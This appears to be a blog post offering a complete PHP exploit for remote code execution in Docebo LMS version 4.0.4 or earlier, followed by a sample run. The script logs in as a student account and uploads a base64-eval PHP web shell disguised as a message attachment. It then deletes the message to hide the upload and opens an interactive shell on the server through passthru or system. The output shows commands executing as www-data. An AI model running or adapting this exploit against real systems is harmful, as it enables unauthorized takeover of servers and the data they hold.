read, write, eXecute…

Docebo LMS ⇐ v4.0.4 (messages) remote code execution exploit download
<?php
/*
Docebo LMS <= v4.0.4 (messages) remote code execution exploit
vendor_________: http://www.docebo.com/
software link__: http://www.docebo.com/community/doceboCms/
author_________: mr_me::rwx kru
email__________: steventhomasseeley!gmail!com

"We must become the change we want to see in the world." -Gandhi
*/

print_r("
==========================================================
Docebo LMS v4.0.4 (messages) remote code execution exploit
by mr_me of rwx kru - net-ninja.net / rwx.biz.nf
==========================================================
");

if ($argc < 3) {
print_r("
=============================================================
Usage: php ".$argv[0]." -t <host:ip> -d <path> OPTIONS
host:      target server (ip/hostname)
path:      directory path to wordpress
Options:
 -p[ip:port]: specify a proxie
Example:
php ".$argv[0]." -t 192.168.1.5 -d /docebo/ -p 127.0.0.1:8080
php ".$argv[0]." -t 192.168.1.5 -d /docebo/
=============================================================
"); die;
}

/*

   +=================+
   student credentials
   +=================+

*/
$user = "suntzu";
$pswd = "suntzu";

/* ----EOF--- */

error_reporting(7);
ini_set("max_execution_time", 0);
ini_set("default_socket_timeout", 5);

$proxie_regex = "(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\b)";

function setArgs($argv){
        $_ARG = array();
        foreach ($argv as $arg){
                if (ereg("--([^=]+)=(.*)", $arg, $reg)){
                        $_ARG[$reg[1]] = $reg[2];
                }elseif(ereg("^-([a-zA-Z0-9])", $arg, $reg)){
                        $_ARG[$reg[1]] = "true";
                }else {
                        $_ARG["input"][] = $arg;
                }
        }
        return $_ARG;
}

$myArgs = setArgs($argv);
$host = $myArgs["input"]["1"];
$path = $myArgs["input"]["2"];

if (strpos($host, ":") == true){
        $hostAndPort = explode(":",$myArgs["input"][1]);
        $host = $hostAndPort[0];
        $port = (int)$hostAndPort[1];
}else{
        $port = 80;
}


if(strcmp($myArgs["p"],"true") === 0){
        $proxieAndPort = explode(":",$myArgs["input"][3]);
        $proxie = $proxieAndPort[0];
        $pport = $proxieAndPort[1];

        echo "(+) Setting the proxie to ".$proxie.":".$pport."\r\n";
}else{
        echo "(-) Warning, a proxie was not set\r\n";
}

// rgods sendpacketii() function
function sendpacket($packet){
        global $myArgs, $proxie, $host, $pport, $port, $html, $proxie_regex;
        if (strcmp($myArgs["p"],"true") != 0) {
                $ock = fsockopen(gethostbyname($host),$port);
                if (!$ock) {
                        echo "(-) No response from ".$host.":".$port; die;
                }
        }
        else {
                $c = preg_match($proxie_regex,$proxie);
                if (!$c) {
                        echo "(-) Not a valid proxie...\n"; die;
                }
                $ock=fsockopen($proxie,$pport);
                if (!$ock) {
                        echo "(-) No response from proxie..."; die;
                }
        }
        fputs($ock,$packet);
        if ($proxie == "") {
                $html = "";
                while (!feof($ock)) {
                        $html .= fgets($ock);
                }
        }else {
                $html = "";
                while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a), $html))) {
                        $html .= fread($ock,1);
                }
        }
        fclose($ock);
}

if (strcmp($myArgs["p"], "true") != 0) {$p = $path;} else {$p = "http://".$host.":".$port.$path;}

function get_session($html){
        if (!preg_match("/Set-Cookie: ([^;]*);/", $html, $session)){
                die("\n[-] docebo_session not set!\n");
        }
        return $session[1];
}

function get_token($html){
        if (!preg_match("/authentic_request\" value=\"([^\"]*)/", $html, $token)){
                die("\n[-] authentic_request token not found!\n");
        }
        return $token[1];
}

function validate_login($html){
        if (!preg_match("/Location: ([^\r\n]*)\r\n/", $html, $redirect)){
                return 0;
        }
        $access_chk = explode("?",$redirect[1]);
        if (strcmp($access_chk[1],"access_fail=1") === 0){
                return 0;
        }
        return 1;
}


// get the 'authentic_request' token & the sessionID
$packet  = "GET ".$p."index.php HTTP/1.1\r\n";
$packet .= "host: ".$host."\r\n\r\n";
sendpacket($packet);

$session = get_session($html);
$token = get_token($html);

echo "(+) Grabbing session: ".$session."\n";
echo "(+) Grabbing login token: ".$token."\n";

// login
$data = "authentic_request=".$token."&login_userid=".$user."&login_pwd=".$pswd."&log_button=Login";
$login_pkt  = "POST ".$p."doceboLms/index.php?modname=login&op=confirm HTTP/1.1\r\n";
$login_pkt .= "Host: ".$host."\r\n";
$login_pkt .= "Cookie: ".$session."\r\n";
$login_pkt .= "Content-Type: application/x-www-form-urlencoded\r\n";
$login_pkt .= "Content-Length: ".strlen($data)."\r\n\r\n".$data;
sendpacket($login_pkt);

if (validate_login($html)){
        echo "(+) Logged into the application..\n";
}else{

        die("(-) Login failed!\n");
}

$session = get_session($html);
echo "(+) Grabbing Logged in session: ".$session."\n";

// now for the upload
$packet  = "GET ".$p."doceboLms/index.php?modname=message&op=addmessage&from=out HTTP/1.1\r\n";
$packet .= "Host: ".$host."\r\n";
$packet .= "Cookie: ".$session."\r\n\r\n";
sendpacket($packet);
$token = get_token($html);

echo "(+) Grabbing upload token: ".$token."\n";
$php_code = "<?php error_reporting(0); eval(base64_decode(\$_SERVER[HTTP_HAX])) ?>";
$payload  = "--o0oOo0o\r\n";
$payload .= "Content-Disposition: form-data; name=\"authentic_request\"\r\n\r\n";
$payload .= $token."\r\n";
$payload .= "--o0oOo0o\r\n";
$payload .= "Content-Disposition: form-data; name=\"out\"\r\n\r\n";
$payload .= "--o0oOo0o\r\n";
$payload .= "Content-Disposition: form-data; name=\"msg_course_filter\"\r\n\r\n";
$payload .= "0\r\n";
$payload .= "--o0oOo0o\r\n";
$payload .= "Content-Disposition: form-data; name=\"message[recipients]\"\r\n\r\n";
// send to a nonexistant userid
$payload .= urlencode("a:1:{i:0;s:5:\"0\";}")."\r\n";
$payload .= "--o0oOo0o\r\n";
$payload .= "Content-Disposition: form-data; name=\"message[subject]\"\r\n\r\n";
$payload .= "suntzu\r\n";
$payload .= "--o0oOo0o\r\n";
$payload .= "Content-Disposition: form-data; name=\"message[priority]\"\r\n\r\n";
$payload .= "1\r\n";
$payload .= "--o0oOo0o\r\n";
$payload .= "Content-Disposition: form-data; name=\"message_textof\"\r\n\r\n";
$payload .= "suntzu\r\n";
$payload .= "--o0oOo0o\r\n";
$payload .= "Content-Disposition: form-data; name=\"message[attach]\"; filename=\"suntzu.php\"\r\n\r\n";
$payload .= $php_code."\r\n";
$payload .= "--o0oOo0o\r\n";
$payload .= "Content-Disposition: form-data; name=\"send\"\r\n\r\n";
$payload .= "Send\r\n";
$payload .= "--o0oOo0o\r\n";

$killpkt = "POST ".$p."doceboLms/index.php?modname=message&op=writemessage HTTP/1.1\r\n";
$killpkt .= "Host: ".$host."\r\n";
$killpkt .= "Cookie: ".$session."\r\n";
$killpkt .= "Content-Type: multipart/form-data; boundary=o0oOo0o\r\n";
$killpkt .= "Content-Length: ".strlen($payload)."\r\n";
$killpkt .= "Connection: close\r\n\r\n".$payload;

echo "(+) Creating malicious php message..\n";
sendpacket($killpkt);

// now to find the shell
echo "(+) Finding message id..\n";
$packet  = "GET ".$p."doceboLms/index.php?modname=message&op=message&sop=unregistercourse HTTP/1.1\r\n";
$packet .= "Host: ".$host."\r\n";
$packet .= "Cookie: ".$session."\r\n\r\n";
sendpacket($packet);

if (!preg_match("/id_message=([^\"]*)/", $html, $message)){
        die("\n[-] Unable to find sent message id!\n");
}else{
        echo "(+) Found message id: ".$message[1]."\n";
}

echo "(+) Finding web shell..\n";
$packet  = "GET ".$p."doceboLms/index.php?modname=message&op=readmessage&id_message=".$message[1]." HTTP/1.1\r\n";
$packet .= "Host: ".$host."\r\n";
$packet .= "Cookie: ".$session."\r\n\r\n";
sendpacket($packet);

if (!preg_match("/alt=\"mime\" \/\>([^<]*)/", $html, $shell)){
        die("\n[-] Unable to find web shell :/\n");
}else{
        echo "(+) Found web shell: ".$shell[1]."\n";

}

$phpshell = $shell[1];

echo "(+) Deleting backdoored message.. \n";
$deletemessage  = "doceboLms/index.php?modname=message&op=delmessage&id_message=".$message[1];
$deletemessage .= "&out=out&confirm=1";
$packet  = "GET ".$p.$deletemessage." HTTP/1.1\r\n";
$packet .= "Host: ".$host."\r\n";
$packet .= "Cookie: ".$session."\r\n\r\n";
sendpacket($packet);

if (preg_match("/Location: ([^\r\n]*)\r\n/", $html, $delete_test)){
        if (preg_match("/result=([^\r\n]*)/", $delete_test[1],$ok_del)){
                if (strcmp("$ok_del[1]","ok_del") === 0){
                        echo "(+) Sucessfully deleted the message\n";
                }
        }
}else{
        echo("\n(-) Warning: unable to deleted the message :/\n");
}

echo "(+) Dropping to shell interaction..\n";

// change the php function if your target doesnt support it
$php_functions = array("passthru", "system");
$php_func = array_rand($php_functions, 2);
$php_func = $php_functions[$php_func[0]];

while ($cmd != "q"){
        echo "\n".get_current_user()."@".$host."# ";
        $cmd = trim(fgets(STDIN));
        $c = base64_encode($php_func."("."\"".$cmd."\"".");");
        $packet  = "POST ".$p."files/doceboLms/message/".$phpshell." HTTP/1.1\r\n";
        $packet .= "Host: ".$host."\r\n";
        $packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
        $packet .= "Hax: ".$c."\r\n\r\n";
        if ($cmd != "q"){
                sendpacket($packet);
                $html = explode("html",$html);
                echo (trim($html[1]));
        }
}
?>
example usage
mr_me@gliese:~/pentest/web/0day/docebo$ php poc.php -t 192.168.220.128 -d /webapps/docebo/ -p 127.0.0.1:8080

==========================================================
Docebo LMS v4.0.4 (messages) remote code execution exploit
by mr_me of rwx kru - net-ninja.net / rwx.biz.nf
==========================================================
(+) Setting the proxie to 127.0.0.1:8080
(+) Grabbing session: docebo_session=lknh500ldp9avllmq5af5q3v96
(+) Grabbing login token: e5c8bb27d018ef97503b9c3c9eb8a53e
(+) Logged into the application..
(+) Grabbing Logged in session: docebo_session=5up5becmbsv7mdaun6i9mp5i63
(+) Grabbing upload token: e5c8bb27d018ef97503b9c3c9eb8a53e
(+) Creating malicious php message..
(+) Finding message id..
(+) Found message id: 18
(+) Finding web shell..
(+) Found web shell: 11837_90_1322716955_suntzu.php
(+) Deleting backdoored message..
(+) Sucessfully deleted the message
(+) Dropping to shell interaction..

mr_me@192.168.220.128# id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
mr_me@192.168.220.128# uname -a
Linux steve-web-server 2.6.35-31-generic #62-Ubuntu SMP Tue Nov 8 14:00:30 UTC 2011 i686 GNU/Linux
mr_me@192.168.220.128#q